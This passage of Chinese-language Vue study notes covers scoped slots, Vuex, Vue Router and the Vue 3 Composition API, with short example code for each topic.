        				<!-- 生成的是h4标题 -->
        				<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
        			</template>
        		</Category>
        
        
        子组件中:
                <template>
                    <div>
                        <slot :games="games"></slot>
                    </div>
                </template>
        		
                <script>
                    export default {
                        name:'Category',
                        props:['title'],
                        //数据在子组件自身
                        data() {
                            return {
                                games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                            }
                        },
                    }
                </script>
        

Vuex

1.概念

​ 在Vue中实现集中式状态(数据)管理的一个Vue插件,对vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。

2.何时使用?

​ 多个组件需要共享数据时

image-20220320112427140

image-20220320112357268

vuex原理图

vuex

3.搭建vuex环境

  1. 创建文件:src/store/index.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //应用Vuex插件
    Vue.use(Vuex)
    
    //准备actions对象——响应组件中用户的动作
    const actions = {}
    //准备mutations对象——修改state中的数据
    const mutations = {}
    //准备state对象——保存具体的数据
    const state = {}
    
    //创建并暴露store
    export default new Vuex.Store({
    	actions,
    	mutations,
    	state
    })
    
  2. main.js中创建vm时传入store配置项

    ......
    //引入store
    import store from './store'
    ......
    
    //创建vm
    new Vue({
    	el:'#app',
    	render: h => h(App),
    	store
    })
    

4.基本使用

  1. 初始化数据、配置actions、配置mutations,操作文件store.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //引用Vuex
    Vue.use(Vuex)
    
    const actions = {
        //响应组件中加的动作
    	jia(context,value){
    		// console.log('actions中的jia被调用了',miniStore,value)
    		context.commit('JIA',value)
    	},
    }
    
    const mutations = {
        //执行加
    	JIA(state,value){
    		// console.log('mutations中的JIA被调用了',state,value)
    		state.sum += value
    	}
    }
    
    //初始化数据
    const state = {
       sum:0
    }
    
    //创建并暴露store
    export default new Vuex.Store({
    	actions,
    	mutations,
    	state,
    })
    
  2. 组件中读取vuex中的数据:$store.state.sum

  3. 组件中修改vuex中的数据:$store.dispatch('action中的方法名',数据)$store.commit('mutations中的方法名',数据)

    备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit

5.getters的使用

  1. 概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。

  2. store.js中追加getters配置

    ......
    
    const getters = {
    	bigSum(state){
    		return state.sum * 10
    	}
    }
    
    //创建并暴露store
    export default new Vuex.Store({
    	......
    	getters
    })
    
  3. 组件中读取数据:$store.getters.bigSum

6.四个map方法的使用

  1. mapState方法:用于帮助我们映射state中的数据为计算属性

    computed: {
        //借助mapState生成计算属性:sum、school、subject(对象写法)
        //注意:{sum:'sum'},第二个sum一定要加单引号‘’,如果不加‘’,会解析为变量,若当前组件中没有该sum变量,所以会报错;加单引号后才会去vuex插件中找sum变量,可以认为这是一种固定写法
         ...mapState({sum:'sum',school:'school',subject:'subject'}),
             
        //借助mapState生成计算属性:sum、school、subject(数组写法)
         //这里的数组有俩作用,1.在当前组件生成名为sum的计算属性;2.去vuex插件中找sum相对应的变量,然后映射到当前组件的sum计算组件中
        ...mapState(['sum','school','subject']),
    },
    
  2. mapGetters方法:用于帮助我们映射getters中的数据为计算属性

    computed: {
        //借助mapGetters生成计算属性:bigSum(对象写法)
        ...mapGetters({bigSum:'bigSum'}),
    
        //借助mapGetters生成计算属性:bigSum(数组写法)
        ...mapGetters(['bigSum'])
    },
    
  3. mapActions方法:用于帮助我们生成与actions对话的方法,即:包含$store.dispatch(xxx)的函数

    methods:{
        //靠mapActions生成:incrementOdd、incrementWait(对象形式)
        
        /* 
        incrementOdd(){
    		this.$store.dispatch('jiaOdd')
    	},
    	incrementWait(){
    		this.$store.dispatch('jiaWait')
    	}
        */
      // 等价于
        ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
        //靠mapActions生成:incrementOdd、incrementWait(数组形式)
        ...mapActions(['jiaOdd','jiaWait'])
    }
    
  4. mapMutations方法:用于帮助我们生成与mutations对话的方法,即:包含$store.commit(xxx)的函数

    methods:{
        //靠mapActions生成:increment、decrement(对象形式)
        
       /*
       context.commit('JIA',value)
       */
      //等价于
        ...mapMutations({increment:'JIA',decrement:'JIAN'}),
        
        //靠mapMutations生成:JIA、JIAN(对象形式)
        ...mapMutations(['JIA','JIAN']),
    }
    

备注:mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象。

7.模块化+命名空间

  1. 目的:让代码更好维护,让多种数据分类更加明确。

  2. 修改store.js

    const countAbout = {
      namespaced:true,//开启命名空间
      state:{x:1},
      mutations: { ... },
      actions: { ... },
      getters: {
        bigSum(state){
           return state.sum * 10
        }
      }
    }
    
    const personAbout = {
      namespaced:true,//开启命名空间
      state:{ ... },
      mutations: { ... },
      actions: { ... }
    }
    
    const store = new Vuex.Store({
      modules: {
        countAbout,
        personAbout
      }
    })
    
  3. 开启命名空间后,组件中读取state数据:

    //方式一:自己直接读取
    this.$store.state.personAbout.list
    //方式二:借助mapState读取:
    ...mapState('countAbout',['sum','school','subject']),
    
  4. 开启命名空间后,组件中读取getters数据:

    //方式一:自己直接读取
    this.$store.getters['personAbout/firstPersonName']
    //方式二:借助mapGetters读取:
    ...mapGetters('countAbout',['bigSum'])
    
  5. 开启命名空间后,组件中调用dispatch

    //方式一:自己直接dispatch
    this.$store.dispatch('personAbout/addPersonWang',person)
    //方式二:借助mapActions:
    ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
  6. 开启命名空间后,组件中调用commit

    //方式一:自己直接commit
    this.$store.commit('personAbout/ADD_PERSON',person)
    //方式二:借助mapMutations:
    ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
    

路由

  1. 理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。
  2. 前端路由:key是路径,value是组件。

image-20211007231718282

image-20211007231745713

image-20211007231607060

1.基本使用

  1. 安装vue-router,命令:npm i vue-router

  2. 应用插件:Vue.use(VueRouter)

  3. 编写router配置项:

    //引入VueRouter
    import VueRouter from 'vue-router'
    //引入Luyou 组件
    import About from '../components/About'
    import Home from '../components/Home'
    
    //创建router实例对象,去管理一组一组的路由规则
    const router = new VueRouter({
    	routes:[
    		{
    			path:'/about',
    			component:About
    		},
    		{
    			path:'/home',
    			component:Home
    		}
    	]
    })
    
    //暴露router
    export default router
    
  4. 实现切换(active-class可配置高亮样式)

    <router-link active-class="active" to="/about">About</router-link>
    
  5. 指定展示位置

    <router-view></router-view>
    

2.几个注意点

  1. 路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。
  2. 通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
  3. 每个组件都有自己的$route属性,里面存储着自己的路由信息。
  4. 整个应用只有一个router,可以通过组件的$router属性获取到。

3.多级路由(多级路由)

  1. 配置路由规则,使用children配置项:

    routes:[
    	{
    		path:'/about',
    		component:About,
    	},
    	{
    		path:'/home',
    		component:Home,
    		children:[ //通过children配置子级路由
    			{
    				path:'news', //此处一定不要写:/news
    				component:News
    			},
    			{
    				path:'message',//此处一定不要写:/message
    				component:Message
    			}
    		]
    	}
    ]
    
  2. 跳转(要写完整路径):

    <router-link to="/home/news">News</router-link>
    

4.路由的query参数

  1. 传递参数

    <!-- 跳转并携带query参数,to的字符串写法 -->
    <router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>
    				
    <!-- 跳转并携带query参数,to的对象写法 -->
    <router-link 
    	:to="{
    		path:'/home/message/detail',
    		query:{
    		   id:666,
                title:'你好'
    		}
    	}"
    >跳转</router-link>
    
  2. 接收参数:

    $route.query.id
    $route.query.title
    

5.命名路由

  1. 作用:可以简化路由的跳转。

  2. 如何使用

    1. 给路由命名:

      {
      	path:'/demo',
      	component:Demo,
      	children:[
      		{
      			path:'test',
      			component:Test,
      			children:[
      				{
                          name:'hello' //给路由命名
      					path:'welcome',
      					component:Hello,
      				}
      			]
      		}
      	]
      }
      
    2. 简化跳转:

      <!--简化前,需要写完整的路径 -->
      <router-link to="/demo/test/welcome">跳转</router-link>
      
      <!--简化后,直接通过名字跳转 -->
      <router-link :to="{name:'hello'}">跳转</router-link>
      
      <!--简化写法配合传递参数 -->
      <router-link 
      	:to="{
      		name:'hello',
      		query:{
      		   id:666,
                  title:'你好'
      		}
      	}"
      >跳转</router-link>
      

6.路由的params参数

  1. 配置路由,声明接收params参数

    {
    	path:'/home',
    	component:Home,
    	children:[
    		{
    			path:'news',
    			component:News
    		},
    		{
    			component:Message,
    			children:[
    				{
    					name:'xiangqing',
    					path:'detail/:id/:title', //使用占位符声明接收params参数
    					component:Detail
    				}
    			]
    		}
    	]
    }
    
  2. 传递参数

    <!-- 跳转并携带params参数,to的字符串写法 -->
    <router-link :to="/home/message/detail/666/你好">跳转</router-link>
    				
    <!-- 跳转并携带params参数,to的对象写法 -->
    <router-link 
    	:to="{
    		name:'xiangqing',
    		params:{
    		   id:666,
                title:'你好'
    		}
    	}"
    >跳转</router-link>
    

    特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!

  3. 接收参数:

    $route.params.id
    $route.params.title
    

7.路由的props配置

​ 作用:让路由组件更方便的收到参数

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件,适合restfull(params)请求,例如:detail/:id/:title
	// props:true
	
	//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件,适合query请求,例如:detail?id=6&title='aaaa'
	props(route){
		return {
			id:route.query.id,
			title:route.query.title
		}
	}
}

8.<router-link>的replace属性

  1. 作用:控制路由跳转时操作浏览器历史记录的模式
  2. 浏览器的历史记录有两种写入方式:分别为pushreplacepush是追加历史记录,replace是替换当前记录。路由跳转时候默认为push
  3. 如何开启replace模式:<router-link replace .......>News</router-link>

9.编程式路由导航

  1. 作用:不借助<router-link> 实现路由跳转,让路由跳转更加灵活

  2. 具体编码:

    //$router的两个API
    this.$router.push({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    
    this.$router.replace({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    
    
    this.$router.forward() //前进
    this.$router.back() //后退
    this.$router.go() //可前进也可后退
    

10.缓存路由组件

  1. 作用:让不展示的路由组件保持挂载,不被销毁。

  2. 具体编码:

    <!-- 缓存一个路由组件  include="组件名字" -->
    
    <keep-alive include="News"> 
        <router-view></router-view>
    </keep-alive>
    
    <!-- 缓存多个路由组件 -->
     <keep-alive :include="['News','Message']">
    

11.两个新的生命周期钩子

  1. 作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。

  2. 具体名字:

    1. activated路由组件被激活时触发。
    2. deactivated路由组件失活时触发。

    注意:这俩个生命周期钩子需要配合keep-alive标签使用,换句话说,keep-alive包裹的组件才可以使用这个钩子

    <script>
    	export default {
    		name:'News',
    		data() {
    			return {
    				opacity:1
    			}
    		},
    		/* beforeDestroy() {
    			console.log('News组件即将被销毁了')
    			clearInterval(this.timer)
    		}, */
    		/* mounted(){
    			this.timer = setInterval(() => {
    				console.log('@')
    				this.opacity -= 0.01
    				if(this.opacity <= 0) this.opacity = 1
    			},16)
    		}, */
    		activated() {
    			console.log('News组件被激活了')
    			this.timer = setInterval(() => {
    				console.log('@')
    				this.opacity -= 0.01
    				if(this.opacity <= 0) this.opacity = 1
    			},16)
    		},
    		deactivated() {
    			console.log('News组件失活了')
    			clearInterval(this.timer)
    		},
    	}
    </script>
    

12.路由守卫

  1. 作用:对路由进行权限控制

  2. 分类:全局守卫、独享守卫、组件内守卫

  3. 全局守卫:

    //全局前置守卫:初始化时执行、每次路由切换前执行
    
    router.beforeEach((to,from,next)=>{
    	console.log('beforeEach',to,from)
    	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
    		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
    			next() //放行
    		}else{
    			alert('暂无权限查看')
    			// next({name:'guanyu'})
    		}
    	}else{
    		next() //放行
    	}
    })
    
    //全局后置守卫:初始化时执行、每次路由切换后执行
    router.afterEach((to,from)=>{
    	console.log('afterEach',to,from)
    	if(to.meta.title){ 
    		document.title = to.meta.title //修改网页的title
    	}else{
    		document.title = 'vue_test'
    	}
    })
    
  4. 独享守卫:

    beforeEnter(to,from,next){
    	console.log('beforeEnter',to,from)
    	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
    		if(localStorage.getItem('school') === 'atguigu'){
    			next()
    		}else{
    			alert('暂无权限查看')
    			// next({name:'guanyu'})
    		}
    	}else{
    		next()
    	}
    }
    
  5. 组件内守卫:

    //进入守卫:通过路由规则,进入该组件时被调用
    beforeRouteEnter (to, from, next) {
    },
    //离开守卫:通过路由规则,离开该组件时被调用
    beforeRouteLeave (to, from, next) {
    }
    

13.路由器的两种工作模式

  1. 对于一个url来说,什么是hash值?—— #及其后面的内容就是hash值。

  2. hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器。

  3. hash模式:

    1. 地址中永远带着#号,不美观 。
    2. 若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法。
    3. 兼容性较好。
  4. history模式:

    1. 地址干净,美观 。
    2. 兼容性和hash模式相比略差。
    3. 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题。

Vue3快速上手

img

1.Vue3简介

2.Vue3带来了什么

1.性能的提升

  • 打包大小减少41%

  • 初次渲染快55%, 更新渲染快133%

  • 内存减少54%

    ......

2.源码的升级

  • 使用Proxy代替defineProperty实现响应式

  • 重写虚拟DOM的实现和Tree-Shaking

    ......

3.拥抱TypeScript

  • Vue3可以更好的支持TypeScript

4.新的特性

  1. Composition API(组合API)

    • setup配置
    • ref与reactive
    • watch与watchEffect
    • provide与inject
    • ......
  2. 新的内置组件

    • Fragment
    • Teleport
    • Suspense
  3. 其他改变

    • 新的生命周期钩子
    • data 选项应始终被声明为一个函数
    • 移除keyCode支持作为 v-on 的修饰符
    • ......

一、创建Vue3.0工程

1.使用 vue-cli 创建

官方文档:https://cli.vuejs.org/zh/guide/creating-a-project.html#vue-create

## 查看@vue/cli版本,确保@vue/cli版本在4.5.0以上
vue --version
## 安装或者升级你的@vue/cli
npm install -g @vue/cli
## 创建
vue create vue_test
## 启动
cd vue_test
npm run serve

2.使用 vite 创建

官方文档:https://v3.cn.vuejs.org/guide/installation.html#vite

vite官网:https://vitejs.cn

  • 什么是vite?—— 新一代前端构建工具。
  • 优势如下:
    • 开发环境中,无需打包操作,可快速的冷启动。
    • 轻量快速的热重载(HMR)。
    • 真正的按需编译,不再等待整个应用编译完成。
  • 传统构建 与 vite构建对比图

img

img

## 创建工程
npm init vite-app <project-name>
## 进入工程目录
cd <project-name>
## 安装依赖
npm install
## 运行
npm run dev

3.分析文件目录

main.js

Vue2项目的main.js

import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

new Vue({
  render: h => h(App),
}).$mount('#app')

看看vm是什么

const vm = new Vue({
  render: h => h(App),
})

console.log(vm)

vm.$mount('#app')

image-20220325232553864

我们再来看看Vue3项目中的main.js

import { createApp } from 'vue'
import App from './App.vue'

createApp(App).mount('#app')
复制代码

我们来分析一下吧

// 引入的不再是Vue构造函数了,引入的是一个名为createApp的工厂函数
import { createApp } from 'vue'
import App from './App.vue'

// 创建应用实例对象——app(类似于之前Vue2中的vm,但app比vm更“轻”)
const app = createApp(App)
console.log(app)
// 挂载
app.mount('#app')

复制代码

这里的app到底是啥,我们输出到控制台看看

image-20220325232616056

App.vue

我们再来看看组件

template标签里可以没有根标签了

<template>
	<!-- Vue3组件中的模板结构可以没有根标签 -->
	<img alt="Vue logo" src="./assets/logo.png">
	<HelloWorld msg="Welcome to Your Vue.js App"/>
</template>
复制代码

接下来我们就来正式的学习Vue3的内容了~

二、常用 Composition API

官方文档: https://v3.cn.vuejs.org/guide/composition-api-introduction.html

1.拉开序幕的setup

  1. 理解:Vue3.0中一个新的配置项,值为一个函数。
  2. setup是所有Composition API(组合API)“ 表演的舞台 ”
  3. 组件中所用到的:数据、方法等等,均要配置在setup中。
  4. setup函数的两种返回值:
    1. 若返回一个对象,则对象中的属性、方法, 在模板中均可以直接使用。(重点关注!)
    2. 若返回一个渲染函数:则可以自定义渲染内容。(了解)
  5. 注意点:
    1. 尽量不要与Vue2.x配置混用
      • Vue2.x配置(data、methos、computed...)中可以访问到setup中的属性、方法。
      • 但在setup中不能访问到Vue2.x配置(data、methos、computed...)。
      • 如果有重名, setup优先。
    2. setup不能是一个async函数,因为返回值不再是return的对象, 而是promise, 模板看不到return对象中的属性。(后期也可以返回一个Promise实例,但需要Suspense和异步组件的配合)

2.ref函数

  • 作用: 定义一个响应式的数据
  • 语法: const xxx = ref(initValue)
    • 创建一个包含响应式数据的引用对象(reference对象,简称ref对象)
    • JS中操作数据: xxx.value
    • 模板中读取数据: 不需要.value,直接:<div>{{xxx}}</div>
  • 备注:
    • 接收的数据可以是:基本类型、也可以是对象类型。
    • 基本类型的数据:响应式依然是靠Object.defineProperty()getset完成的。
    • 对象类型的数据:内部 “ 求助 ” 了Vue3.0中的一个新函数—— reactive函数。

3.reactive函数

  • 作用: 定义一个对象类型的响应式数据(基本类型不要用它,要用ref函数)
  • 语法:const 代理对象= reactive(源对象)接收一个对象(或数组),返回一个代理对象(Proxy的实例对象,简称proxy对象)
  • reactive定义的响应式数据是“深层次的”。
  • 内部基于 ES6 的 Proxy 实现,通过代理对象操作源对象内部数据 进行操作。
<template>
  <h1>一个人的信息</h1>
  <h2>姓名:{{ person.name }}</h2>
  <h2>年龄:{{ person.age }}</h2>
  <h3>工作种类:{{ person.job.type }}</h3>
  <h3>工作薪水:{{ person.job.salary }}</h3>
  <h3>爱好:{{ person.hobby }}</h3>
  <h3>测试的数据c:{{ person.job.a.b.c }}</h3>
  <button @click="changeInfo">修改人的信息</button>
</template>

<script>
import { reactive } from "vue";
export default {
  name: "App",
  setup() {
    //数据
    let person = reactive({
      name: "张三",
      age: 18,
      job: {
        type: "前端工程师",
        salary: "30K",
        a: {
          b: {
            c: 666,
          },
        },
      },
      hobby: ["抽烟", "喝酒", "烫头"],
    });

    //方法
    function changeInfo() {
      person.name = "李四";
      person.age = 48;
      person.job.type = "UI设计师";
      person.job.salary = "60K";
      person.job.a.b.c = 999;
      person.hobby[0] = "学习";
    }

    //返回一个对象(常用)
    return {
      person,
      changeInfo,
    };
  },
};
</script>

4.Vue3.0中的响应式原理

vue2.x的响应式

  • 实现原理:

    • 对象类型:通过Object.defineProperty()对属性的读取、修改进行拦截(数据劫持)。

    • 数组类型:通过重写更新数组的一系列方法来实现拦截。(对数组的变更方法进行了包裹)。

      Object.defineProperty(data, 'count', {
          get () {}, 
          set () {}
      })
      
  • 存在问题:

    • 新增属性、删除属性, 界面不会更新。
    • 直接通过下标修改数组, 界面不会自动更新。
  • 解决方案

    • 使用Vue.setVue.delete或者vm.$setvm.$delete这些API

Vue3.0的响应式

5.reactive对比ref

  • 从定义数据角度对比:
    • ref用来定义:基本类型数据
    • reactive用来定义:对象(或数组)类型数据
    • 备注:ref也可以用来定义对象(或数组)类型数据, 它内部会自动通过reactive转为代理对象
  • 从原理角度对比:
    • ref通过Object.defineProperty()getset来实现响应式(数据劫持)。
    • reactive通过使用Proxy来实现响应式(数据劫持), 并通过Reflect操作源对象内部的数据。
  • 从使用角度对比:
    • ref定义的数据:操作数据需要.value,读取数据时模板中直接读取不需要.value
    • reactive定义的数据:操作数据与读取数据:均不需要.value

6.setup的两个注意点

  • setup执行的时机
    • 在beforeCreate之前执行一次,this是undefined。
  • setup的参数
    • props:值为对象,包含:组件外部传递过来,且组件内部声明接收了的属性。
    • context:上下文对象
      • attrs: 值为对象,包含:组件外部传递过来,但没有在props配置中声明的属性, 相当于 this.$attrs(vue2)
      • slots: 收到的插槽内容, 相当于 this.$slots
      • emit: 分发自定义事件的函数, 相当于 this.$emit

setup接收的两个参数(props, context)打印在控制台,如下

image-20220326172434704

测试一下

App组件和HelloWorld组件

父组件向子组件传递属性参数

<template>
  <h1>博主的信息</h1>
  <HelloWorld msg="你好啊" school="ABC"></HelloWorld>
</template>

<script>
import HelloWorld from "./components/HelloWorld.vue";
export default {
  name: "App",
  components: { HelloWorld },
};
</script>

<style></style>
<template>
  <h2>姓名:{{ yk.name }}</h2>
</template>

<script>
import { reactive } from "@vue/reactivity";
export default {
  name: "HelloWorld",
  props: ['msg'], // 不写全会报警告
  setup(props, context) {
    let yk = reactive({
      name: "YK菌",
    });
    console.log('props-----',props);
    console.log()
    console.log('context.attrs-----', context.attrs)
    return { yk };
  },
};
</script>

image-20220326172911176

自定义事件

父组件:

<template>
  <h1>博主的信息</h1>
  <HelloWorld @hello="showHelloMsg"></HelloWorld>
</template>

<script>
import HelloWorld from "./components/HelloWorld.vue";
export default {
  name: "App",
  setup() {
    function showHelloMsg(value) {
      alert(`你好啊,你触发了hello事件,我收到的参数是:${value}!`);
    }
    return { showHelloMsg };
  },
  components: { HelloWorld },
};
</script>

子组件:

<template>
  <h2>姓名:{{ yk.name }}</h2>
  <button @click="test">测试触发一下HelloWorld组件的Hello事件</button>
</template>

<script>
import { reactive } from "@vue/reactivity";
export default {
  name: "HelloWorld",
  emits:["hello"], // 不写能执行,但是会报警告
  setup(props, context) {
    let yk = reactive({
      name: "YK菌",
    });
    function test() {
      context.emit("hello", "**子组件的信息**");
    }
    return { yk,test };
  },
};
</script>

image-20220326173158077

如果不用emits选项接收,会报警告

插槽

默认插槽

<template>
  <h1>博主的信息</h1>
  <HelloWorld>
    <span>YK菌,你好</span>
  </HelloWorld>
</template>
<template>
  <slot></slot>
</template>

具名插槽

<template>
  <h1>博主的信息</h1>
  <HelloWorld>
	<template v-slot:ykMsg>
		<span>YK菌,你好</span>
	</template>
  </HelloWorld>
</template>

<template>
  <slot name="ykMsg"></slot>
</template>

7.计算属性与监视

1.computed函数

  • 与Vue2.x中computed配置功能一致

  • 写法

    import {computed} from 'vue'
    
    setup(){
        ...
    	//计算属性——简写
        let fullName = computed(()=>{
            return person.firstName + '-' + person.lastName
        })
        
        //计算属性——完整
        let fullName = computed({
            get(){
                return person.firstName + '-' + person.lastName
            },
            set(value){
                const nameArr = value.split('-')
                person.firstName = nameArr[0]
                person.lastName = nameArr[1]
            }
        })
    }
    

2.watch函数

  • 与Vue2.x中watch配置功能一致

  • 两个小“坑”:

    • 监视reactive定义的响应式数据时:oldValue无法正确获取、强制开启了深度监视(deep配置失效)。
    • 监视reactive定义的响应式数据中某个属性(这个属性也是对象类型)时:deep配置有效。
    <script>
    	import {ref,reactive,watch} from 'vue'
    	export default {
    		name: 'Demo',
    		setup(){
    			//数据
    			let sum = ref(0)
    			let msg = ref('你好啊')
    			let person = reactive({
    				name:'张三',
    				age:18,
    				job:{
    					j1:{
    						salary:20
    					}
    				}
    			})
    			//返回一个对象(常用)
    			return {
    				sum,
    				msg,
    				person
    			}
    		}
    	}
    </script>
    
    
    
    //情况一:监视ref定义的响应式数据
    watch(sum,(newValue,oldValue)=>{
    	console.log('sum变化了',newValue,oldValue)
    },{immediate:true})
    
    //情况二:监视多个ref定义的响应式数据
    watch([sum,msg],(newValue,oldValue)=>{
    	console.log('sum或msg变化了',newValue,oldValue)
    }) 
    
    /* 情况三:监视reactive定义的响应式数据
    			若watch监视的是reactive定义的响应式数据,则无法正确获得oldValue!!
    			若watch监视的是reactive定义的响应式数据,则强制开启了深度监视 
    */
    watch(person,(newValue,oldValue)=>{
    	console.log('person变化了',newValue,oldValue)
    },{immediate:true,deep:false}) //此处的deep配置不再奏效
    
    //情况四:监视reactive定义的响应式数据中的某个属性
    watch(()=>person.name,(newValue,oldValue)=>{
    	console.log('person的name变化了',newValue,oldValue)
    },{immediate:true,deep:true})   //这里的这里的name属性是person的一般属性,所以deep不用开启,默认强制开启
    
    //情况五:监视reactive定义的响应式数据中的某些属性
    watch([()=>person.name,()=>person.age],(newValue,oldValue)=>{
    	console.log('person的job变化了',newValue,oldValue)
    },{immediate:true,deep:true})   //这里的这里的name属性是person的一般属性,所以deep不用开启,默认强制开启
    
    //特殊情况
    watch(()=>person.job,(newValue,oldValue)=>{
        console.log('person的job变化了',newValue,oldValue)
    },{deep:true}) //此处由于监视的是reactive素定义的对象中的某个属性(这个属性也是引用类型),这里需要手动配置deep才能生效,所以deep配置有效
    

3.watchEffect函数

  • watch的套路是:既要指明监视的属性,也要指明监视的回调。

  • watchEffect的套路是:不用指明监视哪个属性,监视的回调中用到哪个属性,那就监视哪个属性。

  • watchEffect有点像computed:

    • 但computed注重的计算出来的值(回调函数的返回值),所以必须要写返回值
    • 而watchEffect更注重的是过程(回调函数的函数体),所以不用写返回值
    //watchEffect所指定的回调中用到的数据只要发生变化,则直接重新执行回调。
    watchEffect(()=>{
        const x1 = sum.value
        const x2 = person.age
        console.log('watchEffect配置的回调执行了')
    })
    

8.生命周期

image-20220326113617199

  • Vue3.0中可以继续使用Vue2.x中的生命周期钩子,但有有两个被更名:

    • beforeDestroy改名为 beforeUnmount
    • destroyed改名为 unmounted
  • Vue3.0也提供了 Composition API 形式的生命周期钩子,与Vue2.x中钩子对应关系如下:

    • beforeCreate===>setup()

    • created=======>setup()

    • beforeMount ===>onBeforeMount

    • mounted=======>onMounted

    • beforeUpdate===>onBeforeUpdate

    • updated =======>onUpdated

    • beforeUnmount ==>onBeforeUnmount

    • unmounted =====>onUnmounted

9.自定义hook函数

  • 什么是hook?—— 本质是一个函数,把setup函数中使用的Composition API进行了封装。

  • 类似于vue2.x中的mixin。

  • 自定义hook的优势: 复用代码, 让setup中的逻辑更清楚易懂。

创建一个hooks文件夹,里面创建文件usePoint.js

import { reactive, onMounted, onBeforeUnmount } from "vue";
export default function() {
  //实现鼠标“打点”相关的数据
  let point = reactive({
    x: 0,
    y: 0,
  });

  //实现鼠标“打点”相关的方法
  function savePoint(event) {
    point.x = event.pageX;
    point.y = event.pageY;
    console.log(event.pageX, event.pageY);
  }

  //实现鼠标“打点”相关的生命周期钩子
  onMounted(() => {
    window.addEventListener("click", savePoint);
  });

  onBeforeUnmount(() => {
    window.removeEventListener("click", savePoint);
  });

  return point;
}

在组件种使用

<template>
	<h2>我是HelloWorld组件</h2>
	<h2>当前点击时鼠标的坐标为:x:{{point.x}},y:{{point.y}}</h2>
</template>

<script>
	import usePoint from '../hooks/usePoint'
	export default {
		name:'HelloWorld',
		setup(){
			const point = usePoint()
			return {point}
		}
	}
</script>

1

10.toRef

  • 作用:创建一个 ref 对象,其value值指向另一个对象中的某个属性。

  • 语法:const name = toRef(person,'name')

  • 应用: 要将响应式对象中的某个属性单独提供给外部使用时。

  • 扩展:toRefstoRef功能一致,但可以批量创建多个 ref 对象,语法:toRefs(person)

<script>
	import {ref,reactive,toRef,toRefs} from 'vue'
	export default {
		name: 'Demo',
		setup(){
			//数据
			let person = reactive({
				name:'张三',
				age:18,
				job:{
					j1:{
						salary:20
					}
				}
			})

			// const name1 = person.name
			// console.log('%%%',name1)

			// const name2 = toRef(person,'name')
			// console.log('####',name2)

			const x = toRefs(person)
			console.log('******',x)

			return {
				person,
				// name:toRef(person,'name'),
				// age:toRef(person,'age'),
				// salary:toRef(person.job.j1,'salary'),
				...toRefs(person)  //扩展运算符
			}
		}
	}
</script>

三、其它 Composition API

1.shallowReactive 与 shallowRef

  • shallowReactive:只处理对象最外层属性的响应式(浅响应式)。

  • shallowRef:只处理基本数据类型的响应式, 不进行对象的响应式处理。

  • 什么时候使用?

    • 如果有一个对象数据,结构比较深, 但变化时只是外层属性变化 ===> shallowReactive。
    • 如果有一个对象数据,后续功能不会修改该对象中的属性,而是生成新的对象来替换 ===> shallowRef。

2.readonly 与 shallowReadonly

  • readonly: 让一个响应式数据变为只读的(深只读)。
  • shallowReadonly:让一个响应式数据变为只读的(浅只读)。
  • 应用场景: 不希望数据(引用其他人的组件的数据却不希望修改数据)被修改时。

3.toRaw 与 markRaw

  • toRaw:
    • 作用:将一个由reactive生成的响应式对象转为普通对象
    • 使用场景:用于读取响应式对象对应的普通对象,对这个普通对象的所有操作,不会引起页面更新。
  • markRaw:
    • 作用:标记一个对象,使其永远不会再成为响应式对象。
    • 应用场景:
      1. 有些值不应被设置为响应式的,例如复杂的第三方类库等。
      2. 当渲染具有不可变数据源的大列表时,跳过响应式转换可以提高性能。

4.customRef

  • 作用:创建一个自定义的 ref,并对其依赖项跟踪和更新触发进行显式控制。

  • 实现防抖效果:

    <template>
    	<input type="text" v-model="keyword">
    	<h3>{{keyword}}</h3>
    </template>
    
    <script>
    	import {ref,customRef} from 'vue'
    	export default {
    		name:'Demo',
    		setup(){
    			// let keyword = ref('hello') //使用Vue准备好的内置ref
    			//自定义一个myRef
    			function myRef(value,delay){
    				let timer
    				//通过customRef去实现自定义
    				return customRef((track,trigger)=>{
    					return{
    						get(){
    							track() //告诉Vue这个value值是需要被“追踪”的  通知Vue追踪value的变化(提前和get商量一下,让他认为这个value是有用的)
    							return value
    						},
    						set(newValue){
    							clearTimeout(timer)
    							timer = setTimeout(()=>{
    								value = newValue
    								trigger() //通知Vue去重新解析模板
    							},delay)
    						}
    					}
    				})
    			}
    			let keyword = myRef('hello',500) //使用程序员自定义的ref
    			return {
    				keyword
    			}
    		}
    	}
    </script>
    

5.provide 与 inject

  • 作用:实现祖与后代组件间通信

  • 套路:父组件有一个 provide 选项来提供数据,后代组件有一个 inject 选项来开始使用这些数据

  • 具体写法:

    1. 祖组件中:

      setup(){
      	......
